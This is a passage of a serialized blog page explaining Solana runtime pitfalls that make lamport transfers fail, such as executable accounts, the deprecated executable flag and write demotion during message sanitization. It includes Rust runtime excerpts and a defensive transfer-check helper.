change\n",{"type":23,"tag":134,"props":72782,"children":72783},{"class":136,"line":497},[72784,72788,72792,72796,72800,72805],{"type":23,"tag":134,"props":72785,"children":72786},{"style":189},[72787],{"type":28,"value":11746},{"type":23,"tag":134,"props":72789,"children":72790},{"style":168},[72791],{"type":28,"value":12331},{"type":23,"tag":134,"props":72793,"children":72794},{"style":151},[72795],{"type":28,"value":13181},{"type":23,"tag":134,"props":72797,"children":72798},{"style":168},[72799],{"type":28,"value":720},{"type":23,"tag":134,"props":72801,"children":72802},{"style":264},[72803],{"type":28,"value":72804},"is_writable",{"type":23,"tag":134,"props":72806,"children":72807},{"style":179},[72808],{"type":28,"value":15206},{"type":23,"tag":134,"props":72810,"children":72811},{"class":136,"line":518},[72812,72816,72820,72824,72828,72832,72837],{"type":23,"tag":134,"props":72813,"children":72814},{"style":189},[72815],{"type":28,"value":15214},{"type":23,"tag":134,"props":72817,"children":72818},{"style":597},[72819],{"type":28,"value":15219},{"type":23,"tag":134,"props":72821,"children":72822},{"style":179},[72823],{"type":28,"value":272},{"type":23,"tag":134,"props":72825,"children":72826},{"style":597},[72827],{"type":28,"value":15228},{"type":23,"tag":134,"props":72829,"children":72830},{"style":168},[72831],{"type":28,"value":660},{"type":23,"tag":134,"props":72833,"children":72834},{"style":597},[72835],{"type":28,"value":72836},"ReadonlyLamportChange",{"type":23,"tag":134,"props":72838,"children":72839},{"style":179},[72840],{"type":28,"value":1021},{"type":23,"tag":134,"props":72842,"children":72843},{"class":136,"line":527},[72844],{"type":23,"tag":134,"props":72845,"children":72846},{"style":179},[72847],{"type":28,"value":533},{"type":23,"tag":134,"props":72849,"children":72850},{"class":136,"line":780},[72851],{"type":23,"tag":134,"props":72852,"children":72853},{"style":141},[72854],{"type":28,"value":72855},"    // The balance of executable accounts may not change\n",{"type":23,"tag":134,"props":72857,"children":72858},{"class":136,"line":797},[72859,72863,72867,72871,72876],{"type":23,"tag":134,"props":72860,"children":72861},{"style":189},[72862],{"type":28,"value":11746},{"type":23,"tag":134,"props":72864,"children":72865},{"style":151},[72866],{"type":28,"value":13265},{"type":23,"tag":134,"props":72868,"children":72869},{"style":168},[72870],{"type":28,"value":720},{"type":23,"tag":134,"props":72872,"children":72873},{"style":264},[72874],{"type":28,"value":72875},"is_executable_internal",{"type":23,"tag":134,"props":72877,"children":72878},{"style":179},[72879],{"type":28,"value":15206},{"type":23,"tag":134,"props":72881,"children":72882},{"class":136,"line":814},[72883,72887,72891,72895,72899,72903,72908],{"type":23,"tag":134,"props":72884,"children":72885},{"style":189},[72886],{"type":28,"value":15214},{"type":23,"tag":134,"props":72888,"children":72889},{"style":597},[72890],{"type":28,"value":15219},{"type":23,"tag":134,"props":72892,"children":72893},{"style":179},[72894],{"type":28,"value":272},{"type":23,"tag":134,"props":72896,"children":72897},{"style":597},[72898],{"type":28,"value":15228},{"type":23,"tag":134,"props":72900,"children":72901},{"style":168},[72902],{"type":28,"value":660},{"type":23,"tag":134,"props":72904,"children":72905},{"style":597},[72906],{"type":28,"value":72907},"ExecutableLamportChange",{"type":23,"tag":134,"props":72909,"children":72910},{"style":179},[72911],{"type":28,"value":1021},{"type":23,"tag":134,"props":72913,"children":72914},{"class":136,"line":827},[72915],{"type":23,"tag":134,"props":72916,"children":72917},{"style":179},[72918],{"type":28,"value":533},{"type":23,"tag":134,"props":72920,"children":72921},{"class":136,"line":836},[72922],{"type":23,"tag":134,"props":72923,"children":72924},{"style":141},[72925],{"type":28,"value":72926},"    // don't touch the account if the lamports do not change\n",{"type":23,"tag":134,"props":72928,"children":72929},{"class":136,"line":859},[72930,72934,72938,72942,72946,72950,72954,72958],{"type":23,"tag":134,"props":72931,"children":72932},{"style":189},[72933],{"type":28,"value":11746},{"type":23,"tag":134,"props":72935,"children":72936},{"style":151},[72937],{"type":28,"value":13265},{"type":23,"tag":134,"props":72939,"children":72940},{"style":168},[72941],{"type":28,"value":720},{"type":23,"tag":134,"props":72943,"children":72944},{"style":264},[72945],{"type":28,"value":72729},{"type":23,"tag":134,"props":72947,"children":72948},{"style":179},[72949],{"type":28,"value":13511},{"type":23,"tag":134,"props":72951,"children":72952},{"style":168},[72953],{"type":28,"value":8035},{"type":23,"tag":134,"props":72955,"children":72956},{"style":162},[72957],{"type":28,"value":72712},{"type":23,"tag":134,"props":72959,"children":72960},{"style":179},[72961],{"type":28,"value":463},{"type":23,"tag":134,"props":72963,"children":72964},{"class":136,"line":868},[72965,72969,72973],{"type":23,"tag":134,"props":72966,"children":72967},{"style":189},[72968],{"type":28,"value":15214},{"type":23,"tag":134,"props":72970,"children":72971},{"style":597},[72972],{"type":28,"value":42437},{"type":23,"tag":134,"props":72974,"children":72975},{"style":179},[72976],{"type":28,"value":72977},"(());\n",{"type":23,"tag":134,"props":72979,"children":72980},{"class":136,"line":877},[72981],{"type":23,"tag":134,"props":72982,"children":72983},{"style":179},[72984],{"type":28,"value":533},{"type":23,"tag":134,"props":72986,"children":72987},{"class":136,"line":946},[72988,72992,72996,73001,73005,73009],{"type":23,"tag":134,"props":72989,"children":72990},{"style":151},[72991],{"type":28,"value":20264},{"type":23,"tag":134,"props":72993,"children":72994},{"style":168},[72995],{"type":28,"value":720},{"type":23,"tag":134,"props":72997,"children":72998},{"style":264},[72999],{"type":28,"value":73000},"touch",{"type":23,"tag":134,"props":73002,"children":73003},{"style":179},[73004],{"type":28,"value":13347},{"type":23,"tag":134,"props":73006,"children":73007},{"style":168},[73008],{"type":28,"value":324},{"type":23,"tag":134,"props":73010,"children":73011},{"style":179},[73012],{"type":28,"value":182},{"type":23,"tag":134,"props":73014,"children":73015},{"class":136,"line":954},[73016,73020,73024,73028,73032,73036,73040,73044],{"type":23,"tag":134,"props":73017,"children":73018},{"style":151},[73019],{"type":28,"value":20264},{"type":23,"tag":134,"props":73021,"children":73022},{"style":168},[73023],{"type":28,"value":720},{"type":23,"tag":134,"props":73025,"children":73026},{"style":179},[73027],{"type":28,"value":12420},{"type":23,"tag":134,"props":73029,"children":73030},{"style":168},[73031],{"type":28,"value":720},{"type":23,"tag":134,"props":73033,"children":73034},{"style":264},[73035],{"type":28,"value":72543},{"type":23,"tag":134,"props":73037,"children":73038},{"style":179},[73039],{"type":28,"value":272},{"type":23,"tag":134,"props":73041,"children":73042},{"style":162},[73043],{"type":28,"value":14981},{"type":23,"tag":134,"props":73045,"children":73046},{"style":179},[73047],{"type":28,"value":1021},{"type":23,"tag":134,"props":73049,"children":73050},{"class":136,"line":984},[73051,73055],{"type":23,"tag":134,"props":73052,"children":73053},{"style":597},[73054],{"type":28,"value":13801},{"type":23,"tag":134,"props":73056,"children":73057},{"style":179},[73058],{"type":28,"value":13806},{"type":23,"tag":134,"props":73060,"children":73061},{"class":136,"line":992},[73062],{"type":23,"tag":134,"props":73063,"children":73064},{"style":179},[73065],{"type":28,"value":1098},{"type":23,"tag":134,"props":73067,"children":73068},{"class":136,"line":1024},[73069],{"type":23,"tag":134,"props":73070,"children":73071},{"emptyLinePlaceholder":15},[73072],{"type":28,"value":865},{"type":23,"tag":134,"props":73074,"children":73075},{"class":136,"line":1032},[73076],{"type":23,"tag":134,"props":73077,"children":73078},{"style":141},[73079],{"type":28,"value":73080},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":23,"tag":134,"props":73082,"children":73083},{"class":136,"line":1092},[73084,73088,73092,73096],{"type":23,"tag":134,"props":73085,"children":73086},{"style":179},[73087],{"type":28,"value":72581},{"type":23,"tag":134,"props":73089,"children":73090},{"style":168},[73091],{"type":28,"value":257},{"type":23,"tag":134,"props":73093,"children":73094},{"style":1461},[73095],{"type":28,"value":72590},{"type":23,"tag":134,"props":73097,"children":73098},{"style":179},[73099],{"type":28,"value":20086},{"type":23,"tag":134,"props":73101,"children":73102},{"class":136,"line":8508},[73103],{"type":23,"tag":134,"props":73104,"children":73105},{"style":179},[73106],{"type":28,"value":73107},"#[inline]\n",{"type":23,"tag":134,"props":73109,"children":73110},{"class":136,"line":8526},[73111,73115,73120,73124,73128,73132,73136,73140,73144],{"type":23,"tag":134,"props":73112,"children":73113},{"style":151},[73114],{"type":28,"value":19744},{"type":23,"tag":134,"props":73116,"children":73117},{"style":264},[73118],{"type":28,"value":73119}," is_executable_internal",{"type":23,"tag":134,"props":73121,"children":73122},{"style":179},[73123],{"type":28,"value":272},{"type":23,"tag":134,"props":73125,"children":73126},{"style":168},[73127],{"type":28,"value":277},{"type":23,"tag":134,"props":73129,"children":73130},{"style":151},[73131],{"type":28,"value":13181},{"type":23,"tag":134,"props":73133,"children":73134},{"style":179},[73135],{"type":28,"value":252},{"type":23,"tag":134,"props":73137,"children":73138},{"style":168},[73139],{"type":28,"value":13225},{"type":23,"tag":134,"props":73141,"children":73142},{"style":597},[73143],{"type":28,"value":11517},{"type":23,"tag":134,"props":73145,"children":73146},{"style":179},[73147],{"type":28,"value":463},{"type":23,"tag":134,"props":73149,"children":73150},{"class":136,"line":8571},[73151,73155],{"type":23,"tag":134,"props":73152,"children":73153},{"style":168},[73154],{"type":28,"value":20448},{"type":23,"tag":134,"props":73156,"children":73157},{"style":151},[73158],{"type":28,"value":73159},"self\n",{"type":23,"tag":134,"props":73161,"children":73162},{"class":136,"line":8677},[73163,73167],{"type":23,"tag":134,"props":73164,"children":73165},{"style":168},[73166],{"type":28,"value":67769},{"type":23,"tag":134,"props":73168,"children":73169},{"style":179},[73170],{"type":28,"value":73171},"transaction_context\n",{"type":23,"tag":134,"props":73173,"children":73174},{"class":136,"line":22988},[73175,73179],{"type":23,"tag":134,"props":73176,"children":73177},{"style":168},[73178],{"type":28,"value":67769},{"type":23,"tag":134,"props":73180,"children":73181},{"style":179},[73182],{"type":28,"value":73183},"remove_accounts_executable_flag_checks\n",{"type":23,"tag":134,"props":73185,"children":73186},{"class":136,"line":23023},[73187,73191,73195,73199,73203,73207,73211],{"type":23,"tag":134,"props":73188,"children":73189},{"style":168},[73190],{"type":28,"value":42301},{"type":23,"tag":134,"props":73192,"children":73193},{"style":151},[73194],{"type":28,"value":13265},{"type":23,"tag":134,"props":73196,"children":73197},{"style":168},[73198],{"type":28,"value":720},{"type":23,"tag":134,"props":73200,"children":73201},{"style":179},[73202],{"type":28,"value":12420},{"type":23,"tag":134,"props":73204,"children":73205},{"style":168},[73206],{"type":28,"value":720},{"type":23,"tag":134,"props":73208,"children":73209},{"style":264},[73210],{"type":28,"value":15125},{"type":23,"tag":134,"props":73212,"children":73213},{"style":179},[73214],{"type":28,"value":7194},{"type":23,"tag":134,"props":73216,"children":73217},{"class":136,"line":23031},[73218],{"type":23,"tag":134,"props":73219,"children":73220},{"style":179},[73221],{"type":28,"value":1098},{"type":23,"tag":24,"props":73223,"children":73224},{},[73225],{"type":28,"value":73226},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":23,"tag":24,"props":73228,"children":73229},{},[73230,73232,73237],{"type":28,"value":73231},"Specifically, ",{"type":23,"tag":2532,"props":73233,"children":73234},{},[73235],{"type":28,"value":73236},"executable accounts",{"type":28,"value":73238}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":23,"tag":18368,"props":73240,"children":73242},{"id":73241},"sidebar-whats-the-executable-flag-anyway",[73243],{"type":28,"value":73244},"Sidebar: What's the executable Flag Anyway?",{"type":23,"tag":24,"props":73246,"children":73247},{},[73248,73249,73254],{"type":28,"value":16084},{"type":23,"tag":92,"props":73250,"children":73252},{"className":73251},[],[73253],{"type":28,"value":15125},{"type":28,"value":73255}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":23,"tag":24,"props":73257,"children":73258},{},[73259,73261,73266],{"type":28,"value":73260},"This behavior became problematic with the introduction of the ",{"type":23,"tag":2532,"props":73262,"children":73263},{},[73264],{"type":28,"value":73265},"Upgradeable BPF Loader",{"type":28,"value":73267},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":23,"tag":87,"props":73269,"children":73271},{"className":128,"code":73270,"language":127,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[73272],{"type":23,"tag":92,"props":73273,"children":73274},{"__ignoreMap":7},[73275,73287,73295,73315,73323,73335,73343,73363,73371,73399,73407,73415],{"type":23,"tag":134,"props":73276,"children":73277},{"class":136,"line":137},[73278,73283],{"type":23,"tag":134,"props":73279,"children":73280},{"style":597},[73281],{"type":28,"value":73282},"Program",{"type":23,"tag":134,"props":73284,"children":73285},{"style":179},[73286],{"type":28,"value":463},{"type":23,"tag":134,"props":73288,"children":73289},{"class":136,"line":147},[73290],{"type":23,"tag":134,"props":73291,"children":73292},{"style":141},[73293],{"type":28,"value":73294},"    /// Address of the ProgramData account.\n",{"type":23,"tag":134,"props":73296,"children":73297},{"class":136,"line":185},[73298,73303,73307,73311],{"type":23,"tag":134,"props":73299,"children":73300},{"style":162},[73301],{"type":28,"value":73302},"    programdata_address",{"type":23,"tag":134,"props":73304,"children":73305},{"style":168},[73306],{"type":28,"value":1697},{"type":23,"tag":134,"props":73308,"children":73309},{"style":597},[73310],{"type":28,"value":20335},{"type":23,"tag":134,"props":73312,"children":73313},{"style":179},[73314],{"type":28,"value":687},{"type":23,"tag":134,"props":73316,"children":73317},{"class":136,"line":221},[73318],{"type":23,"tag":134,"props":73319,"children":73320},{"style":179},[73321],{"type":28,"value":73322},"},\n",{"type":23,"tag":134,"props":73324,"children":73325},{"class":136,"line":332},[73326,73331],{"type":23,"tag":134,"props":73327,"children":73328},{"style":597},[73329],{"type":28,"value":73330},"ProgramData",{"type":23,"tag":134,"props":73332,"children":73333},{"style":179},[73334],{"type":28,"value":463},{"type":23,"tag":134,"props":73336,"children":73337},{"class":136,"line":438},[73338],{"type":23,"tag":134,"props":73339,"children":73340},{"style":141},[73341],{"type":28,"value":73342},"    /// Slot that the program was last modified.\n",{"type":23,"tag":134,"props":73344,"children":73345},{"class":136,"line":466},[73346,73351,73355,73359],{"type":23,"tag":134,"props":73347,"children":73348},{"style":162},[73349],{"type":28,"value":73350},"    slot",{"type":23,"tag":134,"props":73352,"children":73353},{"style":168},[73354],{"type":28,"value":1697},{"type":23,"tag":134,"props":73356,"children":73357},{"style":597},[73358],{"type":28,"value":5316},{"type":23,"tag":134,"props":73360,"children":73361},{"style":179},[73362],{"type":28,"value":687},{"type":23,"tag":134,"props":73364,"children":73365},{"class":136,"line":479},[73366],{"type":23,"tag":134,"props":73367,"children":73368},{"style":141},[73369],{"type":28,"value":73370},"    /// Address of the Program's upgrade authority.\n",{"type":23,"tag":134,"props":73372,"children":73373},{"class":136,"line":497},[73374,73379,73383,73387,73391,73395],{"type":23,"tag":134,"props":73375,"children":73376},{"style":162},[73377],{"type":28,"value":73378},"    upgrade_authority_address",{"type":23,"tag":134,"props":73380,"children":73381},{"style":168},[73382],{"type":28,"value":1697},{"type":23,"tag":134,"props":73384,"children":73385},{"style":597},[73386],{"type":28,"value":27137},{"type":23,"tag":134,"props":73388,"children":73389},{"style":179},[73390],{"type":28,"value":5262},{"type":23,"tag":134,"props":73392,"children":73393},{"style":597},[73394],{"type":28,"value":20876},{"type":23,"tag":134,"props":73396,"children":73397},{"style":179},[73398],{"type":28,"value":5595},{"type":23,"tag":134,"props":73400,"children":73401},{"class":136,"line":518},[73402],{"type":23,"tag":134,"props":73403,"children":73404},{"style":141},[73405],{"type":28,"value":73406},"    // The raw program data follows this serialized structure in the\n",{"type":23,"tag":134,"props":73408,"children":73409},{"class":136,"line":527},[73410],{"type":23,"tag":134,"props":73411,"children":73412},{"style":141},[73413],{"type":28,"value":73414},"    // account's data.\n",{"type":23,"tag":134,"props":73416,"children":73417},{"class":136,"line":780},[73418],{"type":23,"tag":134,"props":73419,"children":73420},{"style":179},[73421],{"type":28,"value":73322},{"type":23,"tag":24,"props":73423,"children":73424},{},[73425,73427,73434],{"type":28,"value":73426},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":23,"tag":31,"props":73428,"children":73431},{"href":73429,"rel":73430},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[35],[73432],{"type":28,"value":73433},"SIMD-0162",{"type":28,"value":73435},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":23,"tag":24,"props":73437,"children":73438},{},[73439,73441,73446,73448,73453],{"type":28,"value":73440},"This change is also a ",{"type":23,"tag":2532,"props":73442,"children":73443},{},[73444],{"type":28,"value":73445},"hard requirement for supporting the new loader-v4",{"type":28,"value":73447},". Unlike the upgradable loader, which relies on a separate ",{"type":23,"tag":92,"props":73449,"children":73451},{"className":73450},[],[73452],{"type":28,"value":73330},{"type":28,"value":73454}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":23,"tag":24,"props":73456,"children":73457},{},[73458,73460,73467,73469,73474],{"type":28,"value":73459},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":23,"tag":31,"props":73461,"children":73464},{"href":73462,"rel":73463},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[35],[73465],{"type":28,"value":73466},"migrate",{"type":28,"value":73468}," from the upgradable loader to loader-v4 — without hitting the ",{"type":23,"tag":92,"props":73470,"children":73472},{"className":73471},[],[73473],{"type":28,"value":72907},{"type":28,"value":73475}," restriction.",{"type":23,"tag":18368,"props":73477,"children":73479},{"id":73478},"fix-2-reject-program-accounts",[73480],{"type":28,"value":73481},"Fix 2: Reject Program Accounts",{"type":23,"tag":24,"props":73483,"children":73484},{},[73485],{"type":28,"value":73486},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":23,"tag":87,"props":73488,"children":73490},{"className":128,"code":73489,"language":127,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[73491],{"type":23,"tag":92,"props":73492,"children":73493},{"__ignoreMap":7},[73494,73570,73618,73634,73641,73680,73724,73748,73797,73825],{"type":23,"tag":134,"props":73495,"children":73496},{"class":136,"line":137},[73497,73501,73505,73510,73514,73518,73522,73526,73530,73534,73538,73542,73546,73550,73554,73558,73562,73566],{"type":23,"tag":134,"props":73498,"children":73499},{"style":151},[73500],{"type":28,"value":13158},{"type":23,"tag":134,"props":73502,"children":73503},{"style":151},[73504],{"type":28,"value":13163},{"type":23,"tag":134,"props":73506,"children":73507},{"style":264},[73508],{"type":28,"value":73509}," can_transfer_lamports",{"type":23,"tag":134,"props":73511,"children":73512},{"style":179},[73513],{"type":28,"value":272},{"type":23,"tag":134,"props":73515,"children":73516},{"style":162},[73517],{"type":28,"value":12420},{"type":23,"tag":134,"props":73519,"children":73520},{"style":168},[73521],{"type":28,"value":1697},{"type":23,"tag":134,"props":73523,"children":73524},{"style":168},[73525],{"type":28,"value":6599},{"type":23,"tag":134,"props":73527,"children":73528},{"style":597},[73529],{"type":28,"value":14407},{"type":23,"tag":134,"props":73531,"children":73532},{"style":179},[73533],{"type":28,"value":242},{"type":23,"tag":134,"props":73535,"children":73536},{"style":162},[73537],{"type":28,"value":14981},{"type":23,"tag":134,"props":73539,"children":73540},{"style":168},[73541],{"type":28,"value":1697},{"type":23,"tag":134,"props":73543,"children":73544},{"style":597},[73545],{"type":28,"value":5316},{"type":23,"tag":134,"props":73547,"children":73548},{"style":179},[73549],{"type":28,"value":252},{"type":23,"tag":134,"props":73551,"children":73552},{"style":168},[73553],{"type":28,"value":13225},{"type":23,"tag":134,"props":73555,"children":73556},{"style":597},[73557],{"type":28,"value":13230},{"type":23,"tag":134,"props":73559,"children":73560},{"style":179},[73561],{"type":28,"value":5262},{"type":23,"tag":134,"props":73563,"children":73564},{"style":597},[73565],{"type":28,"value":29179},{"type":23,"tag":134,"props":73567,"children":73568},{"style":179},[73569],{"type":28,"value":6739},{"type":23,"tag":134,"props":73571,"children":73572},{"class":136,"line":147},[73573,73577,73582,73586,73590,73594,73598,73602,73606,73610,73614],{"type":23,"tag":134,"props":73574,"children":73575},{"style":151},[73576],{"type":28,"value":19744},{"type":23,"tag":134,"props":73578,"children":73579},{"style":264},[73580],{"type":28,"value":73581}," is_program",{"type":23,"tag":134,"props":73583,"children":73584},{"style":179},[73585],{"type":28,"value":272},{"type":23,"tag":134,"props":73587,"children":73588},{"style":162},[73589],{"type":28,"value":12420},{"type":23,"tag":134,"props":73591,"children":73592},{"style":168},[73593],{"type":28,"value":1697},{"type":23,"tag":134,"props":73595,"children":73596},{"style":168},[73597],{"type":28,"value":6599},{"type":23,"tag":134,"props":73599,"children":73600},{"style":597},[73601],{"type":28,"value":14407},{"type":23,"tag":134,"props":73603,"children":73604},{"style":179},[73605],{"type":28,"value":252},{"type":23,"tag":134,"props":73607,"children":73608},{"style":168},[73609],{"type":28,"value":13225},{"type":23,"tag":134,"props":73611,"children":73612},{"style":597},[73613],{"type":28,"value":11517},{"type":23,"tag":134,"props":73615,"children":73616},{"style":179},[73617],{"type":28,"value":463},{"type":23,"tag":134,"props":73619,"children":73620},{"class":136,"line":185},[73621,73625,73629],{"type":23,"tag":134,"props":73622,"children":73623},{"style":162},[73624],{"type":28,"value":24662},{"type":23,"tag":134,"props":73626,"children":73627},{"style":168},[73628],{"type":28,"value":720},{"type":23,"tag":134,"props":73630,"children":73631},{"style":179},[73632],{"type":28,"value":73633},"executable\n",{"type":23,"tag":134,"props":73635,"children":73636},{"class":136,"line":221},[73637],{"type":23,"tag":134,"props":73638,"children":73639},{"style":179},[73640],{"type":28,"value":1098},{"type":23,"tag":134,"props":73642,"children":73643},{"class":136,"line":332},[73644,73648,73652,73656,73660,73664,73668,73672,73676],{"type":23,"tag":134,"props":73645,"children":73646},{"style":151},[73647],{"type":28,"value":11254},{"type":23,"tag":134,"props":73649,"children":73650},{"style":162},[73651],{"type":28,"value":72401},{"type":23,"tag":134,"props":73653,"children":73654},{"style":168},[73655],{"type":28,"value":171},{"type":23,"tag":134,"props":73657,"children":73658},{"style":597},[73659],{"type":28,"value":42972},{"type":23,"tag":134,"props":73661,"children":73662},{"style":168},[73663],{"type":28,"value":660},{"type":23,"tag":134,"props":73665,"children":73666},{"style":264},[73667],{"type":28,"value":15822},{"type":23,"tag":134,"props":73669,"children":73670},{"style":179},[73671],{"type":28,"value":13347},{"type":23,"tag":134,"props":73673,"children":73674},{"style":168},[73675],{"type":28,"value":324},{"type":23,"tag":134,"props":73677,"children":73678},{"style":179},[73679],{"type":28,"value":182},{"type":23,"tag":134,"props":73681,"children":73682},{"class":136,"line":438},[73683,73687,73692,73696,73700,73704,73708,73712,73716,73720],{"type":23,"tag":134,"props":73684,"children":73685},{"style":151},[73686],{"type":28,"value":11254},{"type":23,"tag":134,"props":73688,"children":73689},{"style":162},[73690],{"type":28,"value":73691}," balance_after",{"type":23,"tag":134,"props":73693,"children":73694},{"style":168},[73695],{"type":28,"value":171},{"type":23,"tag":134,"props":73697,"children":73698},{"style":162},[73699],{"type":28,"value":4937},{"type":23,"tag":134,"props":73701,"children":73702},{"style":168},[73703],{"type":28,"value":720},{"type":23,"tag":134,"props":73705,"children":73706},{"style":264},[73707],{"type":28,"value":14981},{"type":23,"tag":134,"props":73709,"children":73710},{"style":179},[73711],{"type":28,"value":13511},{"type":23,"tag":134,"props":73713,"children":73714},{"style":168},[73715],{"type":28,"value":1586},{"type":23,"tag":134,"props":73717,"children":73718},{"style":162},[73719],{"type":28,"value":72712},{"type":23,"tag":134,"props":73721,"children":73722},{"style":179},[73723],{"type":28,"value":182},{"type":23,"tag":134,"props":73725,"children":73726},{"class":136,"line":466},[73727,73731,73735,73739,73743],{"type":23,"tag":134,"props":73728,"children":73729},{"style":597},[73730],{"type":28,"value":19967},{"type":23,"tag":134,"props":73732,"children":73733},{"style":179},[73734],{"type":28,"value":272},{"type":23,"tag":134,"props":73736,"children":73737},{"style":162},[73738],{"type":28,"value":12420},{"type":23,"tag":134,"props":73740,"children":73741},{"style":168},[73742],{"type":28,"value":720},{"type":23,"tag":134,"props":73744,"children":73745},{"style":179},[73746],{"type":28,"value":73747},"is_writable\n",{"type":23,"tag":134,"props":73749,"children":73750},{"class":136,"line":479},[73751,73755,73759,73763,73768,73772,73777,73781,73785,73789,73793],{"type":23,"tag":134,"props":73752,"children":73753},{"style":168},[73754],{"type":28,"value":15091},{"type":23,"tag":134,"props":73756,"children":73757},{"style":162},[73758],{"type":28,"value":72401},{"type":23,"tag":134,"props":73760,"children":73761},{"style":168},[73762],{"type":28,"value":720},{"type":23,"tag":134,"props":73764,"children":73765},{"style":264},[73766],{"type":28,"value":73767},"is_exempt",{"type":23,"tag":134,"props":73769,"children":73770},{"style":179},[73771],{"type":28,"value":272},{"type":23,"tag":134,"props":73773,"children":73774},{"style":162},[73775],{"type":28,"value":73776},"balance_after",{"type":23,"tag":134,"props":73778,"children":73779},{"style":179},[73780],{"type":28,"value":242},{"type":23,"tag":134,"props":73782,"children":73783},{"style":162},[73784],{"type":28,"value":12420},{"type":23,"tag":134,"props":73786,"children":73787},{"style":168},[73788],{"type":28,"value":720},{"type":23,"tag":134,"props":73790,"children":73791},{"style":264},[73792],{"type":28,"value":13274},{"type":23,"tag":134,"props":73794,"children":73795},{"style":179},[73796],{"type":28,"value":15130},{"type":23,"tag":134,"props":73798,"children":73799},{"class":136,"line":497},[73800,73804,73808,73813,73817,73821],{"type":23,"tag":134,"props":73801,"children":73802},{"style":168},[73803],{"type":28,"value":15091},{"type":23,"tag":134,"props":73805,"children":73806},{"style":168},[73807],{"type":28,"value":12331},{"type":23,"tag":134,"props":73809,"children":73810},{"style":264},[73811],{"type":28,"value":73812},"is_program",{"type":23,"tag":134,"props":73814,"children":73815},{"style":179},[73816],{"type":28,"value":272},{"type":23,"tag":134,"props":73818,"children":73819},{"style":162},[73820],{"type":28,"value":12420},{"type":23,"tag":134,"props":73822,"children":73823},{"style":179},[73824],{"type":28,"value":19189},{"type":23,"tag":134,"props":73826,"children":73827},{"class":136,"line":518},[73828],{"type":23,"tag":134,"props":73829,"children":73830},{"style":179},[73831],{"type":28,"value":1098},{"type":23,"tag":24,"props":73833,"children":73834},{},[73835],{"type":28,"value":73836},"Now we’re safe...right?",{"type":23,"tag":9072,"props":73838,"children":73840},{"id":73839},"bug-3-the-write-demotion-trap",[73841],{"type":28,"value":73842},"Bug 3: The Write-Demotion Trap",{"type":23,"tag":24,"props":73844,"children":73845},{},[73846,73848,73853,73855,73860],{"type":28,"value":73847},"On Solana, accounts passed as ",{"type":23,"tag":2532,"props":73849,"children":73850},{},[73851],{"type":28,"value":73852},"writable",{"type":28,"value":73854}," in a transaction can be ",{"type":23,"tag":2532,"props":73856,"children":73857},{},[73858],{"type":28,"value":73859},"silently downgraded to read-only",{"type":28,"value":73861},". This behavior occurs during message sanitization — even before your program runs.",{"type":23,"tag":24,"props":73863,"children":73864},{},[73865,73867,73874],{"type":28,"value":73866},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":23,"tag":31,"props":73868,"children":73871},{"href":73869,"rel":73870},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[35],[73872],{"type":28,"value":73873},"MessageV0",{"type":28,"value":73875},", but legacy is simpler to follow):",{"type":23,"tag":87,"props":73877,"children":73879},{"className":128,"code":73878,"language":127,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[73880],{"type":23,"tag":92,"props":73881,"children":73882},{"__ignoreMap":7},[73883,73891,73915,74003,74024,74036,74052,74068,74116,74145,74199,74235,74243,74280,74292,74330,74342,74349,74356,74363,74370,74378,74438,74491],{"type":23,"tag":134,"props":73884,"children":73885},{"class":136,"line":137},[73886],{"type":23,"tag":134,"props":73887,"children":73888},{"style":141},[73889],{"type":28,"value":73890},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":23,"tag":134,"props":73892,"children":73893},{"class":136,"line":147},[73894,73898,73903,73907,73911],{"type":23,"tag":134,"props":73895,"children":73896},{"style":151},[73897],{"type":28,"value":27686},{"type":23,"tag":134,"props":73899,"children":73900},{"style":597},[73901],{"type":28,"value":73902}," 